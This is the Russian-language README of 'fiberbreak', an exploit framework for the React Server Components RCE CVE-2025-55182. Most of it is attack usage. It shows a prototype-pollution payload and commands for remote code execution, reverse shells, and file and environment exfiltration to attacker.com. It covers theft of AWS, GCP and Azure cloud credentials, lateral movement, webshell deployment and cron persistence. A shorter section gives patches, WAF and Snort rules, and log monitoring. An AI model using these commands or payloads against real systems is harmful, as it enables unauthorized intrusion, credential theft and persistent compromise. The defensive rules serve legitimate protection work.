
React2Shell Инструмент эксплуатации (CVE-2025-55182)
Фреймворк для эксплуатации CVE-2025-55182 (React2Shell) —
Критическая RCE-уязвимость в серверных компонентах React.
# Клонирование репозитория
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak
# Установка зависимостей
pip install -r requirements.txt
# Сделать исполняемым
chmod +x fiberbreak.py
# Сборка уязвимой тестовой среды
docker-compose up -d
# Ожидание запуска
sleep 20
# Проверка обнаружения
./fiberbreak.py -u http://localhost:3000 detect
# Выполнение RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"
# Проверка
docker exec react2shell-lab ls -la /tmp/
CVE-2025-55182 — критическая уязвимость удаленного выполнения кода в серверных компонентах React (RSC), которая позволяет неаутентифицированным злоумышленникам выполнять произвольный код на сервере.
Коренная причина: Протокол React Flight десериализует ненадежные входные данные от клиента без надлежащей проверки, что позволяет злоумышленникам создавать вредоносные нагрузки, злоупотребляющие цепочкой прототипов JavaScript и конструктором Function.
Вектор атаки: Злоумышленники отправляют специально сформированный POST-запрос multipart/form-data с заголовком Next-Action на любой RSC-эндпоинт. Вредоносная нагрузка использует:
__proto__constructor:constructor1. Злоумышленник отправляет специально сформированный POST-запрос
└─ multipart/form-data с вредоносным JSON
└─ заголовок Next-Action (любое значение)
2. Сервер десериализует нагрузку
└─ React обрабатывает формат чанка RSC
└─ Разрешает объект, похожий на Promise
3. Цепочка гаджетов срабатывает
└─ Доступ к __proto__ обходит проверки hasOwnProperty
└─ constructor:constructor открывает доступ к Function()
└─ _prefix выполняет произвольный код
4. RCE достигнуто
└─ Сервер выполняет JavaScript злоумышленника
└─ Полный компрометация системы
{
"then": "$1:__proto__:then", // Загрязнение прототипа
"status": "resolved_model", // Фейковое внутреннее состояние React
"reason": -1, // Триггер разрешения
"value": '{"then":"$B1337"}', // Ссылка на Blob
"_response": {
"_prefix": "MALICIOUS_CODE_HERE;", // Выполняемый код
"_formData": {
"get": "$1:constructor:constructor" // Доступ к Function()
}
}
}
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
const value = JSON.parse(chunk.value);
// Отсутствие проверки здесь допускает вредоносные чанки
if (value && typeof value.then === 'function') {
// Злоумышленник контролирует метод 'then'
value.then(/* ... */);
}
}
# Обнаружение по одной цели
./fiberbreak.py -u https://target.com detect
# Несколько целей из файла
./fiberbreak.py -l targets.txt detect --threads 20
# Сохранение результатов в JSON
./fiberbreak.py -l targets.txt detect -o results.json
# Отключение проверки SSL
./fiberbreak.py -u https://target.com detect --no-verify-ssl
# Простое слепое выполнение команды
./fiberbreak.py -u https://target.com exploit -c "whoami"
# Запись файла на диск
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pwned.txt:HACKED" -t write_file
# Чтение содержимого файла
./fiberbreak.py -u https://target.com exploit \
-c "/etc/passwd:https://attacker.com" -t file_read
# Обратный шелл
./fiberbreak.py -u https://target.com exploit \
-c "10.10.10.10:4444" -t reverse_shell
# DNS-эксфильтрация (скрытно, без HTTP-трафика)
./fiberbreak.py -u https://target.com exploit \
-c "whoami:attacker.oastify.com" -t dns_exfil
# HTTP-эксфильтрация с выводом
./fiberbreak.py -u https://target.com exploit \
-c "id:https://attacker.com/exfil" -t http_exfil
# Сбор переменных окружения
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# Рекогносцировка системы
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/recon" -t recon
# Скрытый DNS-маяк (без вывода команды)
./fiberbreak.py -u https://target.com exploit \
-c "attacker.oastify.com" -t stealth_beacon
# Автоматическое обнаружение облачного провайдера и извлечение учетных данных
# Поддерживает: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/cloud" -t cloud_metadata
# 1. Скрытное обнаружение с DNS-маяком
./fiberbreak.py -u https://target.com exploit \
-c "recon.yourburp.oastify.com" -t stealth_beacon
# 2. Если уязвимость подтверждена, извлечение чувствительных данных
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/exfil" -t env_dump
# 3. Проверка облачного окружения
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/cloud" -t cloud_metadata
# 4. Документирование результатов без причинения вреда
# Фаза 1: Обнаружение
./fiberbreak.py -u https://target.com detect -o detection.json
# Фаза 2: Подтверждение
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file
# Фаза 3: Оценка воздействия
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/impact" -t recon
# Фаза 4: Извлечение учетных данных (если облачная среда)
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/creds" -t cloud_metadata
# Фаза 5: Интерактивный доступ (если авторизовано)
# Терминал 1: Запуск слушателя
nc -lvnp 4444
# Терминал 2: Получение шелла
./fiberbreak.py -u https://target.com exploit \
-c "YOUR_IP:4444" -t reverse_shell
# Создание списка целей
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF
# Сканирование всех целей параллельно
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json
# Фильтрация уязвимых целей
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'
# Генерация отчета
cat scan_results.json | jq '{
total: length,
vulnerable: [.[] | select(.vulnerable==true)] | length,
targets: [.[] | select(.vulnerable==true) | .url]
}'
# AWS EC2 экземпляр
./fiberbreak.py -u https://aws-app.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# Колбэк получит:
# - ID экземпляра, регион, зону доступности
# - Имя IAM-роли
# - Временные учетные данные AWS (AccessKeyId, SecretAccessKey, Token)
# - Пользовательские данные
# - Конфигурацию сети
# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
-c "https://attacker.com/gcp" -t cloud_metadata
# Колбэк получит:
# - ID проекта, имя экземпляра, зону
# - Email сервисного аккаунта
# - Маркер доступа OAuth2
# - Доступные области
# Azure Virtual Machine
./fiberbreak.py -u https://azure-app.com exploit \
-c "https://attacker.com/azure" -t cloud_metadata
# Колбэк получит:
# - Метаданные экземпляра
# - Маркер OAuth2 управляемого удостоверения
# - Информацию о подписке
# Создание уникального файла-маркера
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/${MARKER}:proof" -t write_file
# Проверка через атаку по времени или внеполосным каналом
./fiberbreak.py -u https://target.com exploit \
-c "curl https://attacker.com/${MARKER}" -t simple
# Шаг 1: Перечисление файлов
./fiberbreak.py -u https://target.com exploit \
-c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil
# Шаг 2: Извлечение конфигурации
./fiberbreak.py -u https://target.com exploit \
-c "/app/.env:https://attacker.com/config" -t file_read
# Шаг 3: Извлечение учетных данных БД
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# Извлечение учетных данных AWS
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# Использование извлеченных учетных данных для горизонтального перемещения
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""
# Перечисление ресурсов
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
# Обновление React
npm install [email protected] [email protected]
# Обновление Next.js
npm install [email protected] # или [email protected]+
# Проверка версий
npm list react react-dom next
nginx
# Блокировка запросов с заголовком Next-Action
if ($http_next_action) {
return 403;
}
# Ограничение частоты для RSC-эндпоинтов
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;
location / {
limit_req zone=rsc burst=20;
}
Apache (ModSecurity)
# Обнаружение заголовка Next-Action
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:2025551820,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Обнаружена попытка эксплуатации CVE-2025-55182'"
# Обнаружение вредоносных RSC нагрузок
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
"id:2025551821,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Обнаружена вредоносная RSC нагрузка'"
Cloudflare WAF
// Пользовательское правило
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")
# Правило Snort/Suricata
alert tcp any any -> any any (
msg:"Попытка эксплуатации CVE-2025-55182 React2Shell";
flow:to_server,established;
content:"Next-Action"; http_header;
content:"__proto__"; http_client_body;
sid:2025551820;
rev:1;
)
// Промежуточное ПО Next.js
export function middleware(request) {
// Блокировка запросов с заголовком Next-Action из ненадежных источников
if (request.headers.get('next-action')) {
// Проверка источника
const origin = request.headers.get('origin');
const allowedOrigins = ['https://yourdomain.com'];
if (!allowedOrigins.includes(origin)) {
return new Response('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: '/:path*',
};
# Мониторинг попыток эксплуатации в логах
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log
# Оповещение о подозрительных паттернах
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
echo "[ОПОВЕЩЕНИЕ] Потенциальная эксплуатация CVE-2025-55182: $line"
# Отправка в SIEM/систему оповещения
done
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВ НА БЕЗОПАСНОСТЬ
Несанкционированное использование запрещено. См. LICENSE для подробностей.
| Тип | Формат | Описание | Вывод |
|---|
simple | command | Выполнить любую команду оболочки | Слепой |
output | command + --callback | Выполнение с HTTP-колбэком | Да |
reverse_shell | lhost:lport | Обратный шелл Bash | Интерактивный |
dns_exfil | cmd:domain или domain | DNS-эксфильтрация | DNS-логи |
http_exfil | cmd:callback_url | HTTP-эксфильтрация | HTTP POST |
file_read | filepath:callback | Чтение и эксфильтрация файла | HTTP POST |
write_file | filepath:content | Запись файла на диск | Слепой |
env_dump | callback_url | Сбор переменных окружения | HTTP POST |
cloud_metadata | callback_url | Извлечение облачных учетных данных | HTTP POST |
recon | callback_url | Рекогносцировка системы | HTTP POST |
stealth_beacon | domain | DNS-маяк | DNS-логи |
webshell | filepath | Развертывание веб-шелла Node.js | Порт 8080 |
persist | callback_url | Установка персистентности через cron | Cron-задача |